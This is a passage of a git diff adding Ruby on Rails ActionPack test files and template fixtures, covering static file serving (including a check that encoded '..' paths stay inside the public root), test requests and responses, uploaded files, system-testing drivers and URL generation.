+      "X-Custom-Header"             => "I'm a teapot"
+    }
+
+    app      = ActionDispatch::Static.new(DummyApp, @root, headers: headers)
+    response = Rack::MockRequest.new(app).request("GET", "/foo/bar.html")
+
+    assert_equal "http://rubyonrails.org", response.headers["Access-Control-Allow-Origin"]
+    assert_equal "public, max-age=60",     response.headers["Cache-Control"]
+    assert_equal "I'm a teapot",           response.headers["X-Custom-Header"]
+  end
+
+  def test_ignores_unknown_http_methods
+    app = ActionDispatch::Static.new(DummyApp, @root)
+
+    assert_nothing_raised { Rack::MockRequest.new(app).request("BAD_METHOD", "/foo/bar.html") }
+  end
+
+  # Windows doesn't allow \ / : * ? " < > | in filenames
+  unless Gem.win_platform?
+    def test_serves_static_file_with_colon
+      with_static_file "/foo/foo:bar.html" do |file|
+        assert_html file, get("/foo/foo%3Abar.html")
+        assert_html file, get("/foo/foo:bar.html")
+      end
+    end
+
+    def test_serves_static_file_with_asterisk
+      with_static_file "/foo/foo*bar.html" do |file|
+        assert_html file, get("/foo/foo%2Abar.html")
+        assert_html file, get("/foo/foo*bar.html")
+      end
+    end
+  end
+
+  private
+
+    def assert_gzip(file_name, response)
+      expected = File.read("#{FIXTURE_LOAD_PATH}/#{public_path}" + file_name)
+      actual   = ActiveSupport::Gzip.decompress(response.body)
+      assert_equal expected, actual
+    end
+
+    def assert_html(body, response)
+      assert_equal body, response.body
+      assert_equal "text/html", response.headers["Content-Type"]
+      assert_nil response.headers["Vary"]
+    end
+
+    def get(path, headers = {})
+      Rack::MockRequest.new(@app).request("GET", path, headers)
+    end
+
+    def with_static_file(file)
+      path = "#{FIXTURE_LOAD_PATH}/#{public_path}" + file
+      begin
+        File.open(path, "wb+") { |f| f.write(file) }
+      rescue Errno::EPROTO
+        skip "Couldn't create a file #{path}"
+      end
+
+      yield file
+    ensure
+      File.delete(path) if File.exist? path
+    end
+end
+
+class StaticTest < ActiveSupport::TestCase
+  def setup
+    super
+    @root = "#{FIXTURE_LOAD_PATH}/public"
+    @app = ActionDispatch::Static.new(DummyApp, @root, headers: { "Cache-Control" => "public, max-age=60" })
+  end
+
+  def public_path
+    "public"
+  end
+
+  include StaticTests
+
+  def test_custom_handler_called_when_file_is_outside_root
+    filename = "shared.html.erb"
+    assert File.exist?(File.join(@root, "..", filename))
+    env = {
+      "REQUEST_METHOD" => "GET",
+      "REQUEST_PATH" => "/..%2F#{filename}",
+      "PATH_INFO" => "/..%2F#{filename}",
+      "REQUEST_URI" => "/..%2F#{filename}",
+      "HTTP_VERSION" => "HTTP/1.1",
+      "SERVER_NAME" => "localhost",
+      "SERVER_PORT" => "8080",
+      "QUERY_STRING" => ""
+    }
+    assert_equal(DummyApp.call(nil), @app.call(env))
+  end
+
+  def test_non_default_static_index
+    @app = ActionDispatch::Static.new(DummyApp, @root, index: "other-index")
+    assert_html "/other-index.html", get("/other-index.html")
+    assert_html "/other-index.html", get("/other-index")
+    assert_html "/other-index.html", get("/")
+    assert_html "/other-index.html", get("")
+    assert_html "/foo/other-index.html", get("/foo/other-index.html")
+    assert_html "/foo/other-index.html", get("/foo/other-index")
+    assert_html "/foo/other-index.html", get("/foo/")
+    assert_html "/foo/other-index.html", get("/foo")
+  end
+end
+
+class StaticEncodingTest < StaticTest
+  def setup
+    super
+    @root = "#{FIXTURE_LOAD_PATH}/公共"
+    @app = ActionDispatch::Static.new(DummyApp, @root, headers: { "Cache-Control" => "public, max-age=60" })
+  end
+
+  def public_path
+    "公共"
+  end
+end
diff --git a/actionpack/test/dispatch/system_testing/driver_test.rb b/actionpack/test/dispatch/system_testing/driver_test.rb
new file mode 100644
index 0000000000..e6f9353b22
--- /dev/null
+++ b/actionpack/test/dispatch/system_testing/driver_test.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_dispatch/system_testing/driver"
+
+class DriverTest < ActiveSupport::TestCase
+  test "initializing the driver" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:selenium)
+    assert_equal :selenium, driver.instance_variable_get(:@name)
+  end
+
+  test "initializing the driver with a browser" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:selenium, using: :chrome, screen_size: [1400, 1400], options: { url: "http://example.com/wd/hub" })
+    assert_equal :selenium, driver.instance_variable_get(:@name)
+    assert_equal :chrome, driver.instance_variable_get(:@browser)
+    assert_equal [1400, 1400], driver.instance_variable_get(:@screen_size)
+    assert_equal ({ url: "http://example.com/wd/hub" }), driver.instance_variable_get(:@options)
+  end
+
+  test "initializing the driver with a poltergeist" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:poltergeist, screen_size: [1400, 1400], options: { js_errors: false })
+    assert_equal :poltergeist, driver.instance_variable_get(:@name)
+    assert_equal [1400, 1400], driver.instance_variable_get(:@screen_size)
+    assert_equal ({ js_errors: false }), driver.instance_variable_get(:@options)
+  end
+
+  test "initializing the driver with a webkit" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:webkit, screen_size: [1400, 1400], options: { skip_image_loading: true })
+    assert_equal :webkit, driver.instance_variable_get(:@name)
+    assert_equal [1400, 1400], driver.instance_variable_get(:@screen_size)
+    assert_equal ({ skip_image_loading: true }), driver.instance_variable_get(:@options)
+  end
+
+  test "registerable? returns false if driver is rack_test" do
+    assert_not ActionDispatch::SystemTesting::Driver.new(:rack_test).send(:registerable?)
+  end
+end
diff --git a/actionpack/test/dispatch/system_testing/screenshot_helper_test.rb b/actionpack/test/dispatch/system_testing/screenshot_helper_test.rb
new file mode 100644
index 0000000000..c8711f22d8
--- /dev/null
+++ b/actionpack/test/dispatch/system_testing/screenshot_helper_test.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_dispatch/system_testing/test_helpers/screenshot_helper"
+require "capybara/dsl"
+
+class ScreenshotHelperTest < ActiveSupport::TestCase
+  test "image path is saved in tmp directory" do
+    new_test = DrivenBySeleniumWithChrome.new("x")
+
+    assert_equal "tmp/screenshots/x.png", new_test.send(:image_path)
+  end
+
+  test "image path includes failures text if test did not pass" do
+    new_test = DrivenBySeleniumWithChrome.new("x")
+
+    new_test.stub :passed?, false do
+      assert_equal "tmp/screenshots/failures_x.png", new_test.send(:image_path)
+    end
+  end
+
+  test "image path does not include failures text if test skipped" do
+    new_test = DrivenBySeleniumWithChrome.new("x")
+
+    new_test.stub :passed?, false do
+      new_test.stub :skipped?, true do
+        assert_equal "tmp/screenshots/x.png", new_test.send(:image_path)
+      end
+    end
+  end
+end
+
+class RackTestScreenshotsTest < DrivenByRackTest
+  test "rack_test driver does not support screenshot" do
+    assert_not self.send(:supports_screenshot?)
+  end
+end
+
+class SeleniumScreenshotsTest < DrivenBySeleniumWithChrome
+  test "selenium driver supports screenshot" do
+    assert self.send(:supports_screenshot?)
+  end
+end
diff --git a/actionpack/test/dispatch/system_testing/server_test.rb b/actionpack/test/dispatch/system_testing/server_test.rb
new file mode 100644
index 0000000000..ed65d93e49
--- /dev/null
+++ b/actionpack/test/dispatch/system_testing/server_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "capybara/dsl"
+require "action_dispatch/system_testing/server"
+
+class ServerTest < ActiveSupport::TestCase
+  setup do
+    ActionDispatch::SystemTesting::Server.new.run
+  end
+
+  test "initializing the server port" do
+    assert_includes Capybara.servers, :rails_puma
+  end
+
+  test "port is always included" do
+    assert Capybara.always_include_port, "expected Capybara.always_include_port to be true"
+  end
+end
diff --git a/actionpack/test/dispatch/system_testing/system_test_case_test.rb b/actionpack/test/dispatch/system_testing/system_test_case_test.rb
new file mode 100644
index 0000000000..b60ec559ae
--- /dev/null
+++ b/actionpack/test/dispatch/system_testing/system_test_case_test.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class SetDriverToRackTestTest < DrivenByRackTest
+  test "uses rack_test" do
+    assert_equal :rack_test, Capybara.current_driver
+  end
+end
+
+class OverrideSeleniumSubclassToRackTestTest < DrivenBySeleniumWithChrome
+  driven_by :rack_test
+
+  test "uses rack_test" do
+    assert_equal :rack_test, Capybara.current_driver
+  end
+end
+
+class SetDriverToSeleniumTest < DrivenBySeleniumWithChrome
+  test "uses selenium" do
+    assert_equal :selenium, Capybara.current_driver
+  end
+end
+
+class SetHostTest < DrivenByRackTest
+  test "sets default host" do
+    assert_equal "http://127.0.0.1", Capybara.app_host
+  end
+
+  test "overrides host" do
+    host! "http://example.com"
+
+    assert_equal "http://example.com", Capybara.app_host
+  end
+end
+
+class UndefMethodsTest < DrivenBySeleniumWithChrome
+  test "get" do
+    assert_raise NoMethodError do
+      get "http://example.com"
+    end
+  end
+
+  test "post" do
+    assert_raise NoMethodError do
+      post "http://example.com"
+    end
+  end
+
+  test "put" do
+    assert_raise NoMethodError do
+      put "http://example.com"
+    end
+  end
+
+  test "patch" do
+    assert_raise NoMethodError do
+      patch "http://example.com"
+    end
+  end
+
+  test "delete" do
+    assert_raise NoMethodError do
+      delete "http://example.com"
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/test_request_test.rb b/actionpack/test/dispatch/test_request_test.rb
new file mode 100644
index 0000000000..e56537d80b
--- /dev/null
+++ b/actionpack/test/dispatch/test_request_test.rb
@@ -0,0 +1,131 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class TestRequestTest < ActiveSupport::TestCase
+  test "sane defaults" do
+    env = ActionDispatch::TestRequest.create.env
+
+    assert_equal "GET", env.delete("REQUEST_METHOD")
+    assert_equal "off", env.delete("HTTPS")
+    assert_equal "http", env.delete("rack.url_scheme")
+    assert_equal "example.org", env.delete("SERVER_NAME")
+    assert_equal "80", env.delete("SERVER_PORT")
+    assert_equal "/", env.delete("PATH_INFO")
+    assert_equal "", env.delete("SCRIPT_NAME")
+    assert_equal "", env.delete("QUERY_STRING")
+    assert_equal "0", env.delete("CONTENT_LENGTH")
+
+    assert_equal "test.host", env.delete("HTTP_HOST")
+    assert_equal "0.0.0.0", env.delete("REMOTE_ADDR")
+    assert_equal "Rails Testing", env.delete("HTTP_USER_AGENT")
+
+    assert_equal [1, 3], env.delete("rack.version")
+    assert_equal "", env.delete("rack.input").string
+    assert_kind_of StringIO, env.delete("rack.errors")
+    assert_equal true, env.delete("rack.multithread")
+    assert_equal true, env.delete("rack.multiprocess")
+    assert_equal false, env.delete("rack.run_once")
+  end
+
+  test "cookie jar" do
+    req = ActionDispatch::TestRequest.create({})
+
+    assert_equal({}, req.cookies)
+    assert_nil req.env["HTTP_COOKIE"]
+
+    req.cookie_jar["user_name"] = "david"
+    assert_cookies({ "user_name" => "david" }, req.cookie_jar)
+
+    req.cookie_jar["login"] = "XJ-122"
+    assert_cookies({ "user_name" => "david", "login" => "XJ-122" }, req.cookie_jar)
+
+    assert_nothing_raised do
+      req.cookie_jar["login"] = nil
+      assert_cookies({ "user_name" => "david", "login" => nil }, req.cookie_jar)
+    end
+
+    req.cookie_jar.delete(:login)
+    assert_cookies({ "user_name" => "david" }, req.cookie_jar)
+
+    req.cookie_jar.clear
+    assert_cookies({}, req.cookie_jar)
+
+    req.cookie_jar.update(user_name: "david")
+    assert_cookies({ "user_name" => "david" }, req.cookie_jar)
+  end
+
+  test "does not complain when there is no application config" do
+    req = ActionDispatch::TestRequest.create({})
+    assert_equal false, req.env.empty?
+  end
+
+  test "default remote address is 0.0.0.0" do
+    req = ActionDispatch::TestRequest.create({})
+    assert_equal "0.0.0.0", req.remote_addr
+  end
+
+  test "allows remote address to be overridden" do
+    req = ActionDispatch::TestRequest.create("REMOTE_ADDR" => "127.0.0.1")
+    assert_equal "127.0.0.1", req.remote_addr
+  end
+
+  test "default host is test.host" do
+    req = ActionDispatch::TestRequest.create({})
+    assert_equal "test.host", req.host
+  end
+
+  test "allows host to be overridden" do
+    req = ActionDispatch::TestRequest.create("HTTP_HOST" => "www.example.com")
+    assert_equal "www.example.com", req.host
+  end
+
+  test "default user agent is 'Rails Testing'" do
+    req = ActionDispatch::TestRequest.create({})
+    assert_equal "Rails Testing", req.user_agent
+  end
+
+  test "allows user agent to be overridden" do
+    req = ActionDispatch::TestRequest.create("HTTP_USER_AGENT" => "GoogleBot")
+    assert_equal "GoogleBot", req.user_agent
+  end
+
+  test "request_method getter and setter" do
+    req = ActionDispatch::TestRequest.create
+    req.request_method # to reproduce bug caused by memoization
+    req.request_method = "POST"
+    assert_equal "POST", req.request_method
+  end
+
+  test "setter methods" do
+    req = ActionDispatch::TestRequest.create({})
+    get = "GET"
+
+    [
+      "request_method=", "host=", "request_uri=", "path=", "if_modified_since=", "if_none_match=",
+      "remote_addr=", "user_agent=", "accept="
+    ].each do |method|
+      req.send(method, get)
+    end
+
+    req.port = 8080
+    req.accept = "hello goodbye"
+
+    assert_equal(get, req.get_header("REQUEST_METHOD"))
+    assert_equal(get, req.get_header("HTTP_HOST"))
+    assert_equal(8080, req.get_header("SERVER_PORT"))
+    assert_equal(get, req.get_header("REQUEST_URI"))
+    assert_equal(get, req.get_header("PATH_INFO"))
+    assert_equal(get, req.get_header("HTTP_IF_MODIFIED_SINCE"))
+    assert_equal(get, req.get_header("HTTP_IF_NONE_MATCH"))
+    assert_equal(get, req.get_header("REMOTE_ADDR"))
+    assert_equal(get, req.get_header("HTTP_USER_AGENT"))
+    assert_nil(req.get_header("action_dispatch.request.accepts"))
+    assert_equal("hello goodbye", req.get_header("HTTP_ACCEPT"))
+  end
+
+  private
+    def assert_cookies(expected, cookie_jar)
+      assert_equal(expected, cookie_jar.instance_variable_get("@cookies"))
+    end
+end
diff --git a/actionpack/test/dispatch/test_response_test.rb b/actionpack/test/dispatch/test_response_test.rb
new file mode 100644
index 0000000000..2629a61057
--- /dev/null
+++ b/actionpack/test/dispatch/test_response_test.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class TestResponseTest < ActiveSupport::TestCase
+  def assert_response_code_range(range, predicate)
+    response = ActionDispatch::TestResponse.new
+    (0..599).each do |status|
+      response.status = status
+      assert_equal range.include?(status), response.send(predicate),
+                   "ActionDispatch::TestResponse.new(#{status}).#{predicate}"
+    end
+  end
+
+  test "helpers" do
+    assert_response_code_range 200..299, :successful?
+    assert_response_code_range [404],    :not_found?
+    assert_response_code_range 300..399, :redirection?
+    assert_response_code_range 500..599, :server_error?
+    assert_response_code_range 400..499, :client_error?
+  end
+
+  test "response parsing" do
+    response = ActionDispatch::TestResponse.create(200, {}, "")
+    assert_equal response.body, response.parsed_body
+
+    response = ActionDispatch::TestResponse.create(200, { "Content-Type" => "application/json" }, '{ "foo": "fighters" }')
+    assert_equal({ "foo" => "fighters" }, response.parsed_body)
+  end
+end
diff --git a/actionpack/test/dispatch/uploaded_file_test.rb b/actionpack/test/dispatch/uploaded_file_test.rb
new file mode 100644
index 0000000000..4673d7cc11
--- /dev/null
+++ b/actionpack/test/dispatch/uploaded_file_test.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  class UploadedFileTest < ActiveSupport::TestCase
+    def test_constructor_with_argument_error
+      assert_raises(ArgumentError) do
+        Http::UploadedFile.new({})
+      end
+    end
+
+    def test_original_filename
+      uf = Http::UploadedFile.new(filename: "foo", tempfile: Object.new)
+      assert_equal "foo", uf.original_filename
+    end
+
+    def test_filename_is_different_object
+      file_str = "foo"
+      uf = Http::UploadedFile.new(filename: file_str, tempfile: Object.new)
+      assert_not_equal file_str.object_id , uf.original_filename.object_id
+    end
+
+    def test_filename_should_be_in_utf_8
+      uf = Http::UploadedFile.new(filename: "foo", tempfile: Object.new)
+      assert_equal "UTF-8", uf.original_filename.encoding.to_s
+    end
+
+    def test_filename_should_always_be_in_utf_8
+      uf = Http::UploadedFile.new(filename: "foo".encode(Encoding::SHIFT_JIS),
+                                  tempfile: Object.new)
+      assert_equal "UTF-8", uf.original_filename.encoding.to_s
+    end
+
+    def test_content_type
+      uf = Http::UploadedFile.new(type: "foo", tempfile: Object.new)
+      assert_equal "foo", uf.content_type
+    end
+
+    def test_headers
+      uf = Http::UploadedFile.new(head: "foo", tempfile: Object.new)
+      assert_equal "foo", uf.headers
+    end
+
+    def test_tempfile
+      uf = Http::UploadedFile.new(tempfile: "foo")
+      assert_equal "foo", uf.tempfile
+    end
+
+    def test_to_io_returns_the_tempfile
+      tf = Object.new
+      uf = Http::UploadedFile.new(tempfile: tf)
+      assert_equal tf, uf.to_io
+    end
+
+    def test_delegates_path_to_tempfile
+      tf = Class.new { def path; "thunderhorse" end }
+      uf = Http::UploadedFile.new(tempfile: tf.new)
+      assert_equal "thunderhorse", uf.path
+    end
+
+    def test_delegates_open_to_tempfile
+      tf = Class.new { def open; "thunderhorse" end }
+      uf = Http::UploadedFile.new(tempfile: tf.new)
+      assert_equal "thunderhorse", uf.open
+    end
+
+    def test_delegates_close_to_tempfile
+      tf = Class.new { def close(unlink_now = false); "thunderhorse" end }
+      uf = Http::UploadedFile.new(tempfile: tf.new)
+      assert_equal "thunderhorse", uf.close
+    end
+
+    def test_close_accepts_parameter
+      tf = Class.new { def close(unlink_now = false); "thunderhorse: #{unlink_now}" end }
+      uf = Http::UploadedFile.new(tempfile: tf.new)
+      assert_equal "thunderhorse: true", uf.close(true)
+    end
+
+    def test_delegates_read_to_tempfile
+      tf = Class.new { def read(length = nil, buffer = nil); "thunderhorse" end }
+      uf = Http::UploadedFile.new(tempfile: tf.new)
+      assert_equal "thunderhorse", uf.read
+    end
+
+    def test_delegates_read_to_tempfile_with_params
+      tf = Class.new { def read(length = nil, buffer = nil); [length, buffer] end }
+      uf = Http::UploadedFile.new(tempfile: tf.new)
+      assert_equal %w{ thunder horse }, uf.read(*%w{ thunder horse })
+    end
+
+    def test_delegate_respects_respond_to?
+      tf = Class.new { def read; yield end; private :read }
+      uf = Http::UploadedFile.new(tempfile: tf.new)
+      assert_raises(NoMethodError) do
+        uf.read
+      end
+    end
+
+    def test_delegate_eof_to_tempfile
+      tf = Class.new { def eof?; true end; }
+      uf = Http::UploadedFile.new(tempfile: tf.new)
+      assert uf.eof?
+    end
+
+    def test_respond_to?
+      tf = Class.new { def read; yield end }
+      uf = Http::UploadedFile.new(tempfile: tf.new)
+      assert uf.respond_to?(:headers), "responds to headers"
+      assert uf.respond_to?(:read), "responds to read"
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/url_generation_test.rb b/actionpack/test/dispatch/url_generation_test.rb
new file mode 100644
index 0000000000..aef9351de1
--- /dev/null
+++ b/actionpack/test/dispatch/url_generation_test.rb
@@ -0,0 +1,141 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module TestUrlGeneration
+  class WithMountPoint < ActionDispatch::IntegrationTest
+    Routes = ActionDispatch::Routing::RouteSet.new
+    include Routes.url_helpers
+
+    class ::MyRouteGeneratingController < ActionController::Base
+      include Routes.url_helpers
+      def index
+        render plain: foo_path
+      end
+    end
+
+    Routes.draw do
+      get "/foo", to: "my_route_generating#index", as: :foo
+
+      resources :bars
+
+      mount MyRouteGeneratingController.action(:index), at: "/bar"
+    end
+
+    APP = build_app Routes
+
+    def _routes
+      Routes
+    end
+
+    def app
+      APP
+    end
+
+    test "generating URLS normally" do
+      assert_equal "/foo", foo_path
+    end
+
+    test "accepting a :script_name option" do
+      assert_equal "/bar/foo", foo_path(script_name: "/bar")
+    end
+
+    test "the request's SCRIPT_NAME takes precedence over the route" do
+      get "/foo", headers: { "SCRIPT_NAME" => "/new", "action_dispatch.routes" => Routes }
+      assert_equal "/new/foo", response.body
+    end
+
+    test "the request's SCRIPT_NAME wraps the mounted app's" do
+      get "/new/bar/foo", headers: { "SCRIPT_NAME" => "/new", "PATH_INFO" => "/bar/foo", "action_dispatch.routes" => Routes }
+      assert_equal "/new/bar/foo", response.body
+    end
+
+    test "handling http protocol with https set" do
+      https!
+      assert_equal "http://www.example.com/foo", foo_url(protocol: "http")
+    end
+
+    test "extracting protocol from host when protocol not present" do
+      assert_equal "httpz://www.example.com/foo", foo_url(host: "httpz://www.example.com", protocol: nil)
+    end
+
+    test "formatting host when protocol is present" do
+      assert_equal "http://www.example.com/foo", foo_url(host: "httpz://www.example.com", protocol: "http://")
+    end
+
+    test "default ports are removed from the host" do
+      assert_equal "http://www.example.com/foo", foo_url(host: "www.example.com:80", protocol: "http://")
+      assert_equal "https://www.example.com/foo", foo_url(host: "www.example.com:443", protocol: "https://")
+    end
+
+    test "port is extracted from the host" do
+      assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com:8080", protocol: "http://")
+      assert_equal "//www.example.com:8080/foo", foo_url(host: "www.example.com:8080", protocol: "//")
+      assert_equal "//www.example.com:80/foo", foo_url(host: "www.example.com:80", protocol: "//")
+    end
+
+    test "port option is used" do
+      assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com", protocol: "http://", port: 8080)
+      assert_equal "//www.example.com:8080/foo", foo_url(host: "www.example.com", protocol: "//", port: 8080)
+      assert_equal "//www.example.com:80/foo", foo_url(host: "www.example.com", protocol: "//", port: 80)
+    end
+
+    test "port option overrides the host" do
+      assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: 8080)
+      assert_equal "//www.example.com:8080/foo", foo_url(host: "www.example.com:8443", protocol: "//", port: 8080)
+      assert_equal "//www.example.com:80/foo", foo_url(host: "www.example.com:443", protocol: "//", port: 80)
+    end
+
+    test "port option disables the host when set to nil" do
+      assert_equal "http://www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: nil)
+      assert_equal "//www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "//", port: nil)
+    end
+
+    test "port option disables the host when set to false" do
+      assert_equal "http://www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: false)
+      assert_equal "//www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "//", port: false)
+    end
+
+    test "keep subdomain when key is true" do
+      assert_equal "http://www.example.com/foo", foo_url(subdomain: true)
+    end
+
+    test "keep subdomain when key is missing" do
+      assert_equal "http://www.example.com/foo", foo_url
+    end
+
+    test "omit subdomain when key is nil" do
+      assert_equal "http://example.com/foo", foo_url(subdomain: nil)
+    end
+
+    test "omit subdomain when key is false" do
+      assert_equal "http://example.com/foo", foo_url(subdomain: false)
+    end
+
+    test "omit subdomain when key is blank" do
+      assert_equal "http://example.com/foo", foo_url(subdomain: "")
+    end
+
+    test "generating URLs with trailing slashes" do
+      assert_equal "/bars.json", bars_path(
+        trailing_slash: true,
+        format: "json"
+      )
+    end
+
+    test "generating URLS with querystring and trailing slashes" do
+      assert_equal "/bars.json?a=b", bars_path(
+        trailing_slash: true,
+        a: "b",
+        format: "json"
+      )
+    end
+
+    test "generating URLS with empty querystring" do
+      assert_equal "/bars.json", bars_path(
+        a: {},
+        format: "json"
+      )
+    end
+  end
+end
diff --git a/actionpack/test/fixtures/_top_level_partial_only.erb b/actionpack/test/fixtures/_top_level_partial_only.erb
new file mode 100644
index 0000000000..44f25b61d0
--- /dev/null
+++ b/actionpack/test/fixtures/_top_level_partial_only.erb
@@ -0,0 +1 @@
+top level partial
\ No newline at end of file
diff --git a/actionpack/test/fixtures/alternate_helpers/foo_helper.rb b/actionpack/test/fixtures/alternate_helpers/foo_helper.rb
new file mode 100644
index 0000000000..3aadb6145e
--- /dev/null
+++ b/actionpack/test/fixtures/alternate_helpers/foo_helper.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+module FooHelper
+  redefine_method(:baz) {}
+end
diff --git a/actionpack/test/fixtures/bad_customers/_bad_customer.html.erb b/actionpack/test/fixtures/bad_customers/_bad_customer.html.erb
new file mode 100644
index 0000000000..d22af431ec
--- /dev/null
+++ b/actionpack/test/fixtures/bad_customers/_bad_customer.html.erb
@@ -0,0 +1 @@
+<%= greeting %> bad customer: <%= bad_customer.name %><%= bad_customer_counter %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/collection_cache/index.html.erb b/actionpack/test/fixtures/collection_cache/index.html.erb
new file mode 100644
index 0000000000..853e501ab4
--- /dev/null
+++ b/actionpack/test/fixtures/collection_cache/index.html.erb
@@ -0,0 +1 @@
+<%= render partial: 'customers/customer', collection: @customers, cached: true %>
diff --git a/actionpack/test/fixtures/company.rb b/actionpack/test/fixtures/company.rb
new file mode 100644
index 0000000000..93afdd5472
--- /dev/null
+++ b/actionpack/test/fixtures/company.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class Company < ActiveRecord::Base
+  has_one :mascot
+  self.sequence_name = :companies_nonstd_seq
+
+  validates_presence_of :name
+  def validate
+    errors.add("rating", "rating should not be 2") if rating == 2
+  end
+end
diff --git a/actionpack/test/fixtures/customers/_commented_customer.html.erb b/actionpack/test/fixtures/customers/_commented_customer.html.erb
new file mode 100644
index 0000000000..8cc9c1ec13
--- /dev/null
+++ b/actionpack/test/fixtures/customers/_commented_customer.html.erb
@@ -0,0 +1,5 @@
+<%# I'm a comment %>
+<% cache customer do %>
+  <% controller.partial_rendered_times += 1 %>
+  <%= customer.name %>, <%= customer.id %>
+<% end %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/customers/_customer.html.erb b/actionpack/test/fixtures/customers/_customer.html.erb
new file mode 100644
index 0000000000..5105090d4b
--- /dev/null
+++ b/actionpack/test/fixtures/customers/_customer.html.erb
@@ -0,0 +1,4 @@
+<% cache customer do %>
+  <% controller.partial_rendered_times += 1 %>
+  <%= customer.name %>, <%= customer.id %>
+<% end %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/filter_test/implicit_actions/edit.html.erb b/actionpack/test/fixtures/filter_test/implicit_actions/edit.html.erb
new file mode 100644
index 0000000000..8491ab9f80
--- /dev/null
+++ b/actionpack/test/fixtures/filter_test/implicit_actions/edit.html.erb
@@ -0,0 +1 @@
+edit
\ No newline at end of file
diff --git a/actionpack/test/fixtures/filter_test/implicit_actions/show.html.erb b/actionpack/test/fixtures/filter_test/implicit_actions/show.html.erb
new file mode 100644
index 0000000000..0a89cecf05
--- /dev/null
+++ b/actionpack/test/fixtures/filter_test/implicit_actions/show.html.erb
@@ -0,0 +1 @@
+show
\ No newline at end of file
diff --git a/actionpack/test/fixtures/functional_caching/_partial.erb b/actionpack/test/fixtures/functional_caching/_partial.erb
new file mode 100644
index 0000000000..ec0da7cf50
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/_partial.erb
@@ -0,0 +1,3 @@
+<% cache do %>
+Old fragment caching in a partial
+<% end %>
diff --git a/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb
new file mode 100644
index 0000000000..dfcd423978
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb
@@ -0,0 +1,3 @@
+<body>
+<%= cache("fragment") do %><p>ERB</p><% end %>
+</body>
diff --git a/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder
new file mode 100644
index 0000000000..6599579740
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder
@@ -0,0 +1,5 @@
+xml.body do
+  cache("fragment") do
+    xml.p "Builder"
+  end
+end
diff --git a/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb
new file mode 100644
index 0000000000..abf7017ce6
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb
@@ -0,0 +1,3 @@
+<body>
+<%= cache("fragment") do %><p>PHONE</p><% end %>
+</body>
diff --git a/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb b/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb
new file mode 100644
index 0000000000..1148d83ad7
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb
@@ -0,0 +1,3 @@
+Hello
+<%= cache "fragment" do %>This bit's fragment cached<% end %>
+<%= 'Ciao' %>
diff --git a/actionpack/test/fixtures/functional_caching/fragment_cached_with_options.html.erb b/actionpack/test/fixtures/functional_caching/fragment_cached_with_options.html.erb
new file mode 100644
index 0000000000..951c761995
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/fragment_cached_with_options.html.erb
@@ -0,0 +1,3 @@
+<body>
+<%= cache 'with_options', skip_digest: true, expires_in: 10 do %><p>ERB</p><% end %>
+</body>
diff --git a/actionpack/test/fixtures/functional_caching/fragment_cached_without_digest.html.erb b/actionpack/test/fixtures/functional_caching/fragment_cached_without_digest.html.erb
new file mode 100644
index 0000000000..3125583a28
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/fragment_cached_without_digest.html.erb
@@ -0,0 +1,3 @@
+<body>
+<%= cache 'nodigest', skip_digest: true do %><p>ERB</p><% end %>
+</body>
diff --git a/actionpack/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb b/actionpack/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb
new file mode 100644
index 0000000000..a9462d3499
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb
@@ -0,0 +1 @@
+<%= render :partial => 'partial' %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb b/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb
new file mode 100644
index 0000000000..41647f1404
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb
@@ -0,0 +1,2 @@
+<%= render :inline => 'Some inline content' %>
+<%= cache do %>Some cached content<% end %>
